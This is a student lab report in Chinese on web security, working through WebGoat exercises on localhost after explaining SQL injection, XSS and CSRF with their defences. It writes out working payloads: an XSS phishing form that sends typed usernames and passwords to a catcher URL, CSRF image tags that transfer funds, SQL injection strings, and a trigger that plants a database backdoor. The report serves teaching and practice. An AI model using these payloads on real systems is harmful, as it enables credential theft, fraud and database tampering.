20145231熊梓宏 《网络对抗》 实验9 Web安全基础实践

基础问题回答

1.SQL注入攻击原理，如何防御？

•SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意SQL命令的目的。

•防范SQL注入攻击，可从以下方面考虑：

采用预编译语句集PreparedStatement，它内置了处理SQL注入的能力，只要使用它的setXXX方法传值即可。它的原理就是sql注入只对sql语句的准备(编译)过程有破坏作用，而PreparedStatement已经准备好了，执行阶段只是把输入串作为数据处理，而不再对sql语句进行解析准备，能避免sql注入问题；

不要使用动态拼装sql，使用参数化的sql或者直接使用存储过程进行数据查询存取；

使用正则表达式过滤传入的参数，对一些包含sql注入的关键字进行过滤；

不要使用管理员权限的数据库连接，为每个应用使用单独的权限有限的数据库连接。

不要把机密信息直接存放，加密或者hash掉密码和敏感的信息。

2.XSS攻击的原理，如何防御？

•XSS是代码注入的一种，它允许恶意用户将代码注入到网页上，并能够被浏览器成功的执行，其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。XSS攻击的主要目的是，想办法获取目标攻击网站的cookie，因为有了cookie相当于有了seesion，有了这些信息就可以在任意能接进互联网的pc登陆该网站，并以其他人的身份登陆，做一些破坏。

•XSS的防御可以从以下方面来进行：

在所有提交的信息中都进行匹配检查。对于这种类型的XSS攻击，采用的模式匹配方法一般会需要对“javascript”这个关键字进行检索，一旦发现提交信息中包含“javascript”，就认定为XSS攻击；

对所有用户提交内容进行可靠的输入验证，包括对URL、查询关键字、HTTP头、POST数据等，仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交，对其他的一律过滤；实现Session标记（session tokens）、CAPTCHA系统或者HTTP引用头检查，以防功能被第三方网站所执行；去掉任何对远程内容的引用（尤其是样式表和javascript），使用HTTP only的cookie。

3.CSRF攻击原理，如何防御？

•XSS是跨站脚本攻击，就是在用户的浏览器中执行攻击者的脚本，来获得其cookie等信息。而CSRF是借用用户的身份，向web server发送请求，因为该请求不是用户本意，所以称为“跨站请求伪造”。CSRF一般的攻击过程是，攻击者向目标网站注入一个恶意的CSRF攻击URL地址(跨站url)，当(登录)用户访问某特定网页时，如果用户点击了该URL，那么攻击就触发了。

•对于CSRF的防御也可以从以下几个方面入手：

通过referer、token或者验证码来检测用户提交；

避免全站通用的cookie，严格设置cookie的域；

尽量不要在页面的链接中暴露用户隐私信息，对于用户修改删除等操作最好都使用post操作。

实践内容

WebGoat

WebGoat运行在带有java虚拟机的平台之上，是提供Web漏洞说明的平台，也是本次实验的平台。

WebGoat分为简单版和开发板，简单版是个Java的Jar包，只需要有Java环境即可，我们在命令行里执行：java -jar webgoat-container-7.0.1-war-exec.jar运行WebGoat：

在浏览器上访问localhost:8080/WebGoat，即可开始实验。

Cross-Site Scripting（XSS：跨站脚本攻击）

Phishing with XSS

在搜索框中输入XSS攻击代码。利用XSS可以在已存在的页面中进一步添加元素的特点，创建一个form，让被攻击者在我们创建的form中填写用户名和密码，再添加一段JavaScript代码，读取其用户名和密码，并且将这些信息发送给http://localhost:8080/WebGoat/catcher?PROPERTY=yes...，完整的XSS攻击代码如下:

</form>
<script>
    function hack(){
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    }
</script>
<form name="phish">
<br>
<br>
<HR>
    <H2>This feature requires account login:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

过程如图：

Stored XSS Attacks

创建非法的消息内容，可以导致其他用户访问时载入非预期的页面或内容。title中可随意输入，然后在message中输入代码，比如：<script>alert("this is hacker xzh");</script>

过程如图：

Reflected XSS Attacks

输入错误用户信息后，服务器校验输入有误，返回错误页面并将错误内容展示给我们看，如果我们将带有攻击性的URL作为输入源，例如输入，就会弹出对话框：

与存储型xss攻击对比：两者所用的原理不一样，存储型XSS是持久化的，代码是存储在服务器中，比较典型的例子就是上面所用的留言板，而这个实验中用的是反射型XSS攻击是非持久化的，应用的场景比如欺骗用户自己去点击链接才能触发XSS代码，也就是说它的代码是不存在服务器中的，所以一般来说存储型XSS攻击危害更大。

Cross Site Request Forgery(CSRF)

写一个URL诱使其他用户点击，从而触发CSRF攻击，我们可以以图片的的形式将URL放进Message框，这时的URL对其他用户是不可见的，用户一旦点击图片，就会触发一个CSRF事件。

在message框中输入这样一串代码：<img src="http://localhost:8080/WebGoat/attack?Screen=282&menu=900&transferFunds=8000"/> 具体的screen和menu参数参照参数表,提交后，会在消息列表中看到一个新的消息，点击该消息，当前页面就会下载这个消息并显示出来，转走用户的8000元，从而达到CSRF攻击的目的。

CSRF Prompt By-Pass

同样需要构造CSRF攻击，该攻击包括了两个请求，一是转账请求，二是确认转账成功请求，即需要额外传递两个参数给服务器（transferFunds=6000，transferFunds=CONFIRM），直接在message中写入了攻击代码即可，然后点击CONFIRM，查看源码已被修改，再在浏览器中输入URL：localhost:8080/WebGoat/attack?Screen=281&menu=900&transferFunds=CONFIRM，成功转走了6000元：

Injection Flaws（注入弱点攻击）

Numeric SQL Injection

通过注入SQL字符串的方式查看所有的天气数据，只要加上一个1=1这种永真式即可达到我们的目的，利用firebug即可直接改，如果觉得找代码不方便，可以先点击文本框，右键选择element page即可直接找到要改的代码，在任意一个值比如103旁边加上or 1=1，再选中NewYork，点Go，可以看到所有天气数据信息：

Log Spoofing

我们输入的用户名会被追加到日志文件中，所以我们可以使用障眼法来使用户名为“admin”的用户在日志中显示“成功登录”，在User Name文本框中输入xzh%0d%0aLogin Succeeded for username: admin，其中%0d是回车，%0a是换行符：

String SQL Injection

基于select语句构造SQL注入字符串，在文本框中输入' or 1=1 --，点Go，攻击成功，所有用户信息都被显示出来：

LAB:SQL Injection(Stage 1:String SQL Injection)

以用户Neville登录，基于select语句构造SQL注入字符串，在文本框中输入' or 1=1 --；查看源代码，最长只能输入8位，把长度限定改为15，把文本框格式改为text。

LAB:SQL Injection(Stage 3:Numeric SQL Injection)

数字型注入，要求使用一个普通员工的账户，浏览其BOSS的账户信息。首先通过Larry的账户登陆（密码为larry），更改登录后页面源代码value值为112 or 1=1 order by salary desc，点击ViewProfile查看信息：

Database Backdoors

可随意输入一个用户id，得到相关信息，发现输入的语句没有验证，很容易进行SQL注入，输入注入语句：102; update employee set salary=200000，成功把该用户的工资涨到了200000，接下来使用语句102;CREATE TRIGGER xzhBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='Xxzhkuma@163.com' WHERE userid = NEW.userid创建一个后门，把表中所有的邮箱和用户ID都设为自己的：

实验最终完成情况

关于代理设置

好像只有Blind Numeric SQL Injection这个实验需要用到代理分析，根据老师的实验指导进行了代理设置，但是在最终需要抓包然后send to intruder进行暴力破解时，没有出现相关的信息。。。

实践体会

实践成功不是关键，关键要从注入的代码中理解攻击原理。